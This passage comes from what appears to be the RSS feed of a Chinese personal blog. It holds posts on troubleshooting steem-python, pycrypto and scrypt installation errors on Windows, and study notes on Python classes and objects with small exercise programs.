</span></span><span class="line"><span class="cl">        <span class="n">msc_ver</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">version</span><span class="p">[</span><span class="n">msc_pos</span><span class="o">+</span><span class="mi">6</span><span class="p">:</span><span class="n">msc_pos</span><span class="o">+</span><span class="mi">10</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">msc_ver</span> <span class="o">==</span> <span class="s1">&#39;1300&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="c1"># MSVC 7.0</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="p">[</span><span class="s1">&#39;msvcr70&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="o">...</span>
</span></span><span class="line"><span class="cl">        <span class="k">elif</span> <span class="n">msc_ver</span> <span class="o">==</span> <span class="s1">&#39;1600&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="c1"># VS2010 / MSVC 10.0</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="p">[</span><span class="s1">&#39;msvcr100&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">         <span class="c1">### PATCH###############################</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># INCLUDES NEWEST mscvcr VERSION</span>
</span></span><span class="line"><span class="cl">        <span class="c1">#########################################</span>
</span></span><span class="line"><span class="cl">        <span class="k">elif</span> <span class="n">msc_ver</span> <span class="o">==</span> <span class="s1">&#39;1900&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">           <span class="c1"># Visual Studio 2015 / Visual C++ 14.0</span>
</span></span><span class="line"><span class="cl">           <span class="c1"># &#34;msvcr140.dll no longer exists&#34; http://blogs.msdn.com/b/vcblog/archive/2014/06/03/visual-studio-14-ctp.aspx</span>
</span></span><span class="line"><span class="cl">           <span class="k">return</span> <span class="p">[</span><span class="s1">&#39;vcruntime140&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="c1">#########################################</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s2">&#34;Unknown MS Compiler version </span><span class="si">%s</span><span class="s2"> &#34;</span> <span class="o">%</span> <span class="n">msc_ver</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>再次尝试安装编译winrandom，还是失败：No such file or directory<br>
这是找不到src/winrandom.c源文件吗？继续鼓捣鼓捣，感觉自己瞎折腾了一番，没解决问题，玩累了，再次到网上求助。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"> <span class="o">----------------------------------------</span>
</span></span><span class="line"><span class="cl">  <span class="n">Failed</span> <span class="n">building</span> <span class="n">wheel</span> <span class="k">for</span> <span class="n">winrandom</span>
</span></span><span class="line"><span class="cl">  <span class="n">Running</span> <span class="n">setup</span><span class="o">.</span><span class="n">py</span> <span class="n">clean</span> <span class="k">for</span> <span class="n">winrandom</span>
</span></span><span class="line"><span class="cl"><span class="n">Failed</span> <span class="n">to</span> <span class="n">build</span> <span class="n">winrandom</span>
</span></span><span class="line"><span class="cl"><span class="n">Installing</span> <span class="n">collected</span> <span class="n">packages</span><span class="p">:</span> <span class="n">winrandom</span>
</span></span><span class="line"><span class="cl">  <span class="n">Running</span> <span class="n">setup</span><span class="o">.</span><span class="n">py</span> <span class="n">install</span> <span class="k">for</span> <span class="n">winrandom</span> <span class="o">...</span> <span class="n">error</span>
</span></span><span class="line"><span class="cl">    <span class="n">Complete</span> <span class="n">output</span> <span class="n">from</span> <span class="n">command</span> <span class="n">I</span><span class="p">:</span>\<span class="n">PYTHON</span><span class="o">~</span><span class="mi">1</span>\<span class="n">python</span><span class="o">.</span><span class="n">exe</span> <span class="o">-</span><span class="n">u</span> <span class="o">-</span><span class="n">c</span> <span class="s2">&#34;import setuptools, tokenize;__file__=&#39;K:</span><span class="se">\\</span><span class="s2">temp</span><span class="se">\\</span><span class="s2">pip-install-g_5exyuk</span><span class="se">\\</span><span class="s2">winrandom</span><span class="se">\\</span><span class="s2">setup.py&#39;;f=getattr(tokenize, &#39;open&#39;, open)(__file__);code=f.read().replace(&#39;</span><span class="se">\r\n</span><span class="s2">&#39;, &#39;</span><span class="se">\n</span><span class="s2">&#39;);f.close();exec(compile(code, __file__, &#39;exec&#39;))&#34;</span> <span class="n">install</span> <span class="o">--</span><span class="n">record</span> <span class="n">K</span><span class="p">:</span>\<span class="n">temp</span>\<span class="n">pip</span><span class="o">-</span><span class="n">record</span><span class="o">-</span><span class="n">qp70g1vo</span>\<span class="n">install</span><span class="o">-</span><span class="n">record</span><span class="o">.</span><span class="n">txt</span> <span class="o">--</span><span class="n">single</span><span class="o">-</span><span class="n">version</span><span class="o">-</span><span class="n">externally</span><span class="o">-</span><span class="n">managed</span> <span class="o">--</span><span class="n">compile</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">running</span> <span class="n">install</span>
</span></span><span class="line"><span class="cl">    <span class="n">running</span> <span class="n">build</span>
</span></span><span class="line"><span class="cl">    <span class="n">running</span> <span class="n">build_ext</span>
</span></span><span class="line"><span class="cl">    <span class="n">building</span> <span class="s1">&#39;winrandom&#39;</span> <span class="n">extension</span>
</span></span><span class="line"><span class="cl">    <span class="n">creating</span> <span class="n">build</span>
</span></span><span class="line"><span class="cl">    <span class="n">creating</span> <span class="n">build</span>\<span class="n">temp</span><span class="o">.</span><span class="n">win32</span><span class="o">-</span><span class="mf">3.6</span>
</span></span><span class="line"><span class="cl">    <span class="n">creating</span> <span class="n">build</span>\<span class="n">temp</span><span class="o">.</span><span class="n">win32</span><span class="o">-</span><span class="mf">3.6</span>\<span class="n">Release</span>
</span></span><span class="line"><span class="cl">    <span class="n">creating</span> <span class="n">build</span>\<span class="n">temp</span><span class="o">.</span><span class="n">win32</span><span class="o">-</span><span class="mf">3.6</span>\<span class="n">Release</span>\<span class="n">src</span>
</span></span><span class="line"><span class="cl">    <span class="n">I</span><span class="p">:</span>\<span class="n">gcc</span>\<span class="n">bin</span>\<span class="n">gcc</span><span class="o">.</span><span class="n">exe</span> <span class="o">-</span><span class="n">mdll</span> <span class="o">-</span><span class="n">O</span> <span class="o">-</span><span class="n">Wall</span> <span class="o">-</span><span class="n">II</span><span class="p">:</span>\<span class="n">PYTHON</span><span class="o">~</span><span class="mi">1</span>\<span class="n">include</span> <span class="o">-</span><span class="n">II</span><span class="p">:</span>\<span class="n">PYTHON</span><span class="o">~</span><span class="mi">1</span>\<span class="n">include</span> <span class="o">-</span><span class="n">c</span> <span class="n">src</span><span class="o">/</span><span class="n">winrandom</span><span class="o">.</span><span class="n">c</span> <span class="o">-</span><span class="n">o</span> <span class="n">build</span>\<span class="n">temp</span><span class="o">.</span><span class="n">win32</span><span class="o">-</span><span class="mf">3.6</span>\<span class="n">Release</span>\<span class="n">src</span>\<span class="n">winrandom</span><span class="o">.</span><span class="n">o</span>
</span></span><span class="line"><span class="cl">    <span class="n">gcc</span><span class="p">:</span> <span class="n">error</span><span class="p">:</span> <span class="n">CreateProcess</span><span class="p">:</span> <span class="n">No</span> <span class="n">such</span> <span class="n">file</span> <span class="ow">or</span> <span class="n">directory</span>
</span></span><span class="line"><span class="cl">    <span class="n">error</span><span class="p">:</span> <span class="n">command</span> <span class="s1">&#39;I:</span><span class="se">\\</span><span class="s1">gcc</span><span class="se">\\</span><span class="s1">bin</span><span class="se">\\</span><span class="s1">gcc.exe&#39;</span> <span class="n">failed</span> <span class="n">with</span> <span class="n">exit</span> <span class="n">status</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="o">----------------------------------------</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>网上别人给的解决办法：修改i:\python364\lib\site-packages\Crypto\Random\OSRNG\nt.py文件，将import winrandom 改成 from . import winrandom</p>
<p>方法有效。原来不是winrandom模块没有安装，而是Python的导入机制找不到模块的路径。先入为主地把思考问题的方向弄错了，花多少时间都是白费。Python的模块导入机制是如何搜索模块路径的？得花时间去了解一下。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># import winrandom</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">.</span> <span class="kn">import</span> <span class="n">winrandom</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>尝试导入steem模块，又有新问题：OSError: [WinError 193] %1 不是有效的 Win32 应用程序。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">i:\python364\lib\site-packages\scrypt\scrypt.py in &lt;module&gt;()
</span></span><span class="line"><span class="cl">     13 __version__ = &#39;0.8.6&#39;
</span></span><span class="line"><span class="cl">     14 
</span></span><span class="line"><span class="cl">---&gt; 15 _scrypt = cdll.LoadLibrary(imp.find_module(&#39;_scrypt&#39;)[1])
</span></span><span class="line"><span class="cl">     16 
</span></span><span class="line"><span class="cl">     17 _scryptenc_buf = _scrypt.exp_scryptenc_buf
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">i:\python364\lib\ctypes\__init__.py in LoadLibrary(self, name)
</span></span><span class="line"><span class="cl">    424 
</span></span><span class="line"><span class="cl">    425     def LoadLibrary(self, name):
</span></span><span class="line"><span class="cl">--&gt; 426         return self._dlltype(name)
</span></span><span class="line"><span class="cl">    427 
</span></span><span class="line"><span class="cl">    428 cdll = LibraryLoader(CDLL)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">i:\python364\lib\ctypes\__init__.py in __init__(self, name, mode, handle, use_errno, use_last_error)
</span></span><span class="line"><span class="cl">    346 
</span></span><span class="line"><span class="cl">    347         if handle is None:
</span></span><span class="line"><span class="cl">--&gt; 348             self._handle = _dlopen(self._name, mode)
</span></span><span class="line"><span class="cl">    349         else:
</span></span><span class="line"><span class="cl">    350             self._handle = handle
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">OSError: [WinError 193] %1 不是有效的 Win32 应用程序。
</span></span></code></pre></td></tr></table>
</div>
</div><p>问题出现在加载&quot;_scrypt&quot;这个模块上，这个模块不是一个.py文件，而是一个编译好的动态库：&quot;_scrypt.cp36-win32.pyd&quot;。<br>
为什么出现这个问题？<br>
难道是混用了 32-bit 和 64-bit的程序？通过pip安装的，应该不会弄错版本，而且安装的时候会提示：<strong>XXX is not a supported wheel on this platform.</strong></p>
<p>难道是&quot;_scrypt.cp36-win32.pyd&quot;这个程序损坏了？将scrypt模块卸载重装，问题依旧。没招了，不知道该怎么鼓捣了。</p>
<p>到了第二天，突然想了想，当前scrypt模块安装的是最新版：scrypt-0.8.6，要不装旧版本的试试，然后安装了scrypt-0.8.5。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">D:\Users\tracis&gt;python -m pip uninstall scrypt
</span></span><span class="line"><span class="cl">Uninstalling scrypt-0.8.6:
</span></span><span class="line"><span class="cl">  Would remove:
</span></span><span class="line"><span class="cl">    i:\python~1\lib\site-packages\_scrypt.cp36-win32.pyd
</span></span><span class="line"><span class="cl">    i:\python~1\lib\site-packages\scrypt-0.8.6.dist-info\*
</span></span><span class="line"><span class="cl">    i:\python~1\lib\site-packages\scrypt\*
</span></span><span class="line"><span class="cl">Proceed (y/n)? y
</span></span><span class="line"><span class="cl">  Successfully uninstalled scrypt-0.8.6
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">D:\Users\tracis&gt;python -m pip install K:\scrypt-0.8.5-cp36-cp36m-win32.whl
</span></span><span class="line"><span class="cl">Processing k:\scrypt-0.8.5-cp36-cp36m-win32.whl
</span></span><span class="line"><span class="cl">Installing collected packages: scrypt
</span></span><span class="line"><span class="cl">Successfully installed scrypt-0.8.5
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://i.loli.net/2018/08/11/5b6e68f3747a2.jpg" alt="blob.jpg"  />
</p>
<p>导入steem模块成功，运气真好。迷迷糊糊地从坑里爬出来了=_=。</p>
]]></content:encoded>
    </item>
    <item>
      <title>安装steem-python遇到的问题</title>
      <link>https://hacperme.com/posts/notes/2018-08-08-fix_install_steem_with_python/</link>
      <pubDate>Wed, 08 Aug 2018 07:00:40 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-08-08-fix_install_steem_with_python/</guid>
      <description>steem-python是steem官方的Python库，今天在Windows系统上安装这个库的时候遇到了一些问题。 安装steem-pyth</description>
      <content:encoded><![CDATA[<p>steem-python是steem官方的Python库，今天在Windows系统上安装这个库的时候遇到了一些问题。</p>
<p>安装steem-python的方法是用pip,在cmd里面输命令就可以了：</p>
<blockquote>
<p>python -m pip install steem</p>
</blockquote>
<p>但安装过程不是想象中的那样顺利，其中有两个模块安装不了：ujson和pycrypto<br>
出错提示:</p>
<blockquote>
<p>error: Microsoft Visual C++ 14.0 is required. Get it with &ldquo;Microsoft Visual C++ Build Tools&rdquo;: <a href="http://landinghub.visualstudio.com/visual-cpp-build-tools">http://landinghub.visualstudio.com/visual-cpp-build-tools</a></p>
</blockquote>
<p>既然缺少编译工具，那就按照提示下载安装软件 <a href="https://visualstudio.microsoft.com/downloads/#build-tools-for-visual-studio-2017">Visual Studio 2017 Community</a>，其实很不情愿安装这类巨无霸IDE软件，没办法，不装就玩不了。</p>
<p>勾选使用C++的桌面开发，更改安装路径。</p>
<p><img loading="lazy" src="https://i.loli.net/2018/08/07/5b69734e8ede0.jpg" alt="blob.jpg"  />
</p>
<p>安装Visual Studio 2017 Community的时候，发现VC_redist.x64.exe这个组件安装出错，只安装了Visual Studio这个空壳子，编译工具没装上，反复尝试卸载重装，修复，这个组件就是安装不了。</p>
<p>后来从安装日志发现，这个破玩意要先把旧版本的组件卸载了，再安装新组件，然而在卸载的时候出错了，找不到产品安装源。</p>
<p>这应该是从Windows 7 升级到 Windows 10的遗留问题，自升级到Windows 10后，发现以前的一些软件损坏了，而且旧软件卸载不了，新程序安装不上，自此成为电脑上的毒瘤。解决办法是只能用<a href="https://support.microsoft.com/zh-cn/help/17588/fix-problems-that-block-programs-from-being-installed-or-removed">MicrosoftProgram_Install_and_Uninstall.meta.diagcab</a>一个一个地清除这些毒瘤，速度贼慢，现在还有一堆损坏的软件没清理。</p>
<p><img loading="lazy" src="https://i.loli.net/2018/08/07/5b697cdacfafa.jpg" alt="blob.jpg"  />
</p>
<p>在清理了microsoft visual c++ 2015 x64 minimum runtime、microsoft visual c++ 2015 x64 additional runtime 等这几个&quot;microsoft visual c++ 2015 XXX&quot;的旧组件之后，再重新安装Visual Studio 2017 Community，一路顺畅，安装过程没有出错，编译工具也装好了。</p>
<p>尝试重新安装steem-python库，ujson安装没问题，但是编译pycrypto的时候还是出错了。</p>
<p><img loading="lazy" src="https://i.loli.net/2018/08/07/5b69800d67ba0.jpg" alt="blob.jpg"  />
</p>
<p>参照网上的解决办法:<a href="https://my.oschina.net/mengyoufengyu/blog/1524422">python3.6安装pycrypto</a></p>
<ul>
<li>将I:\Microsoft\Microsoft Visual Studio\2017\Community\VC\Tools\MSVC\14.14.26428\include\stdint.h文件拷贝到I:\Windows Kits\10\Include\10.0.17134.0\ucrt目录下</li>
<li>修改I:\Windows Kits\10\Include\10.0.17134.0\ucrt\inttypes.h<br>
注释#include &lt;stdint.h&gt;，添加#include &ldquo;stdint.h&rdquo;</li>
</ul>
<p><img loading="lazy" src="https://i.loli.net/2018/08/07/5b6982c21ff22.jpg" alt="blob.jpg"  />
</p>
<p>原来出现这个问题是由于编译器找不到stdint.h头文件，这个解决方法也是简单粗暴，哈哈。</p>
<p><img loading="lazy" src="https://i.loli.net/2018/08/07/5b69839562f99.jpg" alt="blob.jpg"  />
</p>
<p>最后，终于steem-python安装成功啦，花了几个小时在安装问题上。</p>
<p><img loading="lazy" src="https://i.loli.net/2018/08/07/5b6988745a1eb.jpg" alt="blob.jpg"  />
</p>
<p>后来试了试在Windows 10 的 Linux 子系统上安装 steem-python，其中没有出现错误，一次性安装好了。唉，早知道直接在Linux系统下安装得了，又是一番折腾。</p>
]]></content:encoded>
    </item>
    <item>
      <title>Learn Python with Steem #07 笔记</title>
      <link>https://hacperme.com/posts/notes/2018-08-07-learn-python-with-steem-07-note/</link>
      <pubDate>Tue, 07 Aug 2018 10:26:12 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-08-07-learn-python-with-steem-07-note/</guid>
      <description>Learn Python with Steem #07 笔记 [toc] 划重点 类与对象 把一些具有共同特征的对象的属性和行为（方法）抽取出来，将其抽象化，定义为类。 也就是说类是对象的模板，按照模板（</description>
      <content:encoded><![CDATA[<h1 id="learn-python-with-steem-07-笔记">Learn Python with Steem #07 笔记</h1>
<hr>
<p>[toc]</p>
<h2 id="划重点">划重点</h2>
<ul>
<li>
<p>类与对象 把一些具有共同特征的对象的属性和行为（方法）抽取出来，将其<strong>抽象化</strong>，定义为类。<br>
也就是说类是对象的模板，按照模板（类）<strong>实例化（具体化）</strong>，这就是对象。<br>
类是抽象的概念，而对象是具体的东西。</p>
</li>
<li>
<p>类的属性与方法</p>
<p>类的属性和方法都是一群对象的共同特征。<br>
属性是那些对象的静态特征，在类中定义的变量。<br>
方法是那些对象的动态特征（行为），在类中定义的函数。<br>
这么说也不太准确，有些类中的有些方法和属性是关于类的，而与对象无关系。<br>
通过定义类，实现了对数据和对数据的操作的<strong>封装</strong>。</p>
</li>
</ul>
<h2 id="编程练习">编程练习</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 作业</span>
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Person</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">_name</span><span class="p">,</span> <span class="n">_height</span><span class="p">,</span> <span class="n">_weight</span><span class="p">,</span> <span class="n">_gender</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">_name</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">height</span> <span class="o">=</span> <span class="n">_height</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">weight</span> <span class="o">=</span> <span class="n">_weight</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">gender</span> <span class="o">=</span> <span class="n">_gender</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">count_update</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">get_bmi</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">bmi</span> <span class="o">=</span> <span class="n">sel</span><span class="o">.</span><span class="n">weight</span> <span class="o">/</span> <span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">height</span><span class="o">**</span><span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">bmi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">rename</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">_name</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">name</span> <span class="o">==</span> <span class="n">_name</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">pass</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">_name</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">count_update</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">me</span> <span class="o">=</span> <span class="n">Person</span><span class="p">(</span><span class="s1">&#39;zzzABC&#39;</span><span class="p">,</span> <span class="mf">1.75</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="s1">&#39;Male&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">me</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">me</span><span class="o">.</span><span class="n">rename</span><span class="p">(</span><span class="s1">&#39;zzzABC&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">me</span><span class="o">.</span><span class="n">rename</span><span class="p">(</span><span class="s1">&#39;kkkABC&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;========= After Update ===========&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">me</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">me</span><span class="o">.</span><span class="n">count_update</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">zzzABC
</span></span><span class="line"><span class="cl">========= After Update ===========
</span></span><span class="line"><span class="cl">kkkABC
</span></span><span class="line"><span class="cl">1
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="补充">补充</h2>
<h3 id="对象属性和类属性">对象属性和类属性</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">People</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># 定义类属性count_people，与所有对象共享</span>
</span></span><span class="line"><span class="cl">    <span class="n">count_people</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 创建对象时的初始化操作</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">_name</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># 定义对象属性name</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">_name</span>
</span></span><span class="line"><span class="cl">        <span class="n">People</span><span class="o">.</span><span class="n">count_people</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 删除对象时的操作</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__del__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">People</span><span class="o">.</span><span class="n">count_people</span> <span class="o">-=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">me</span> <span class="o">=</span> <span class="n">People</span><span class="p">(</span><span class="s1">&#39;Yjcps&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">me</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">me</span><span class="o">.</span><span class="n">count_people</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">friend</span> <span class="o">=</span> <span class="n">People</span><span class="p">(</span><span class="s1">&#39;Tom&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">friend</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">friend</span><span class="o">.</span><span class="n">count_people</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">me</span><span class="o">.</span><span class="n">count_people</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">del</span> <span class="n">friend</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">me</span><span class="o">.</span><span class="n">count_people</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">del</span> <span class="n">me</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">People</span><span class="o">.</span><span class="n">count_people</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
